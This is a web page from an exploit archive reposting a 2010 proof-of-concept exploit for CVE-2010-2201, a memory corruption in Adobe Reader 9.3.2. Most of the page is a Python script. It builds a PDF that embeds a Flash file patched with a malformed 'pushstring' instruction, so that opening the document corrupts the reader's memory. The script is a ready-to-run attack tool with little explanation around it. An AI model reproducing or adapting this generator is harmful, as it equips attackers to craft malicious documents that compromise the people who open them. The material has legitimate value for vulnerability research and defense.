Adobe Acrobat and Reader "pushstring" Memory Corru
Posted on 12 September 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Adobe Acrobat and Reader "pushstring" Memory Corruption</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>======================================================= Adobe Acrobat and Reader "pushstring" Memory Corruption ======================================================= Title : Adobe Acrobat and Reader "pushstring" Memory Corruption Version : Adobe Reader 9.3.2 Analysis : http://www.abysssec.com Vendor : http://www.adobe.com Impact : Med/High Contact : shahin [at] abysssec.com , info [at] abysssec.com Twitter : @abysssec CVE : CVE-2010-2201 MOAUB Number : MOAUB-10 ''' import sys class PDF: def __init__(self): self.xrefs = [] self.eol = 'x0a' self.content = '' self.xrefs_offset = 0 def header(self): self.content += '%PDF-1.6' + self.eol def obj(self, obj_num, data,flag): self.xrefs.append(len(self.content)) self.content += '%d 0 obj' % obj_num if flag == 1: self.content += self.eol + '<< ' + data + ' >>' + self.eol else: self.content += self.eol + data + self.eol self.content += 'endobj' + self.eol def obj_SWFStream(self, obj_num, data, stream): self.xrefs.append(len(self.content)) self.content += '%d 0 obj' % obj_num self.content += self.eol + '<< ' + data + '/Params << /Size %d >> /DL %d /Length %d' %(len(stream),len(stream),len(stream)) self.content += ' >>' + self.eol self.content += 'stream' + self.eol + stream + self.eol + 'endstream' + self.eol self.content += 'endobj' + self.eol def obj_Stream(self, obj_num, data, stream): self.xrefs.append(len(self.content)) self.content += '%d 0 obj' % obj_num self.content += self.eol + '<< ' + data + '/Length %d' %len(stream) self.content += ' >>' + self.eol self.content += 'stream' + self.eol + stream + self.eol + 'endstream' + self.eol self.content += 'endobj' + self.eol def ref(self, ref_num): return '%d 0 R' % ref_num def xref(self): self.xrefs_offset = len(self.content) self.content += 'xref' + self.eol self.content += '0 %d' % (len(self.xrefs) + 1) self.content += self.eol self.content += '0000000000 65535 f' + self.eol for i in self.xrefs: self.content += '%010d 00000 n' % i self.content += self.eol def trailer(self): self.content += 'trailer' + self.eol self.content += '<< /Size %d' % (len(self.xrefs) + 1) self.content += ' /Root ' + self.ref(1) + ' >> ' + self.eol self.content += 'startxref' + self.eol self.content += '%d' % self.xrefs_offset self.content += self.eol self.content += '%%EOF' def generate(self): return self.content class POC: def getSWF(self): try: fdR = open('flash.swf', 'rb+') strTotal = fdR.read() str1 = strTotal[:479] command = 'x2CxE8x88xF0xFFx33' #pushstring str2 = strTotal[485:] fdW= open('poc.swf', 'wb+') finalStr = str1+command+str2 fdW.write(finalStr) fdR.close() return finalStr except IOError: print '[*] Error : An IO error has occurred' def generate_pdf(): poc = POC() swfFile = 'poc.swf' pdf = PDF() pdf.header() pdf.obj(1, '/MarkInfo<</Marked true>>/Type /Catalog/Pages ' + pdf.ref(2) ,1) pdf.obj(2, '/Count 1/Type/Pages/Kids[ '+pdf.ref(3)+' ]',1) pdf.obj(3, '/Annots [ '+pdf.ref(5) +' ]/Parent '+pdf.ref(2) + " /Type/Page"+' /Contents '+pdf.ref(4) ,1) pdf.obj_Stream(4, '','') pdf.obj(5, '/RichMediaSettings '+pdf.ref(6)+' /NM ( ' + swfFile + ' ) /Subtype /RichMedia /Type /Annot /RichMediaContent '+pdf.ref(7)+' /Rect [ 266 116 430 204 ]',1) pdf.obj(6, '/Subtype /Flash /Activation '+pdf.ref(8)+' /Type /RichMediaSettings /Deactivation '+pdf.ref(9),1) pdf.obj(7, '/Type /RichMediaContent /Assets '+pdf.ref(10) +' /Configurations [ ' + pdf.ref(11) + ']',1) pdf.obj(8, '/Type /RichMediaActivation /Condition /PO ',1) pdf.obj(9, '/Type /RichMediaDeactivation /Condition /XD ',1) pdf.obj(10, '/Names [('+ swfFile +') ' + pdf.ref(12)+' ]',1) pdf.obj(11, '/Subtype /Flash /Type /RichMediaConfiguration /Name (ElFlash) /Instances [ '+pdf.ref(13) +' ]',1) pdf.obj(12, '/EF <</F '+pdf.ref(14) +' >> /Type /Filespec /F ('+ swfFile +')',1) pdf.obj(13, '/Subype /Flash /Params '+pdf.ref(15) +' /Type /RichMediaInstance /Asset '+ pdf.ref(12) ,1) pdf.obj_SWFStream(14, ' /Type /EmbeddedFile ',poc.getSWF() ) pdf.obj(15, '/Binding /Background /Type /RichMediaParams /FlashVars () /Settings '+pdf.ref(16),1) pdf.obj_Stream(16, '<</Length 0 >> ','') pdf.xref() pdf.trailer() return pdf.generate() def main(): if len(sys.argv) != 2: print 'Usage: python %s [output file name]' % sys.argv[0] sys.exit(0) file_name = sys.argv[1] if not file_name.endswith('.pdf'): file_name = file_name + '.pdf' try: fd = open(file_name, 'wb+') fd.write(generate_pdf()) fd.close() print '[-] PDF file generated and written to %s' % file_name except IOError: print '[*] Error : An IO error has occurred' print '[-] Exiting ...' sys.exit(-1) if __name__ == '__main__': main() # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-12]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>
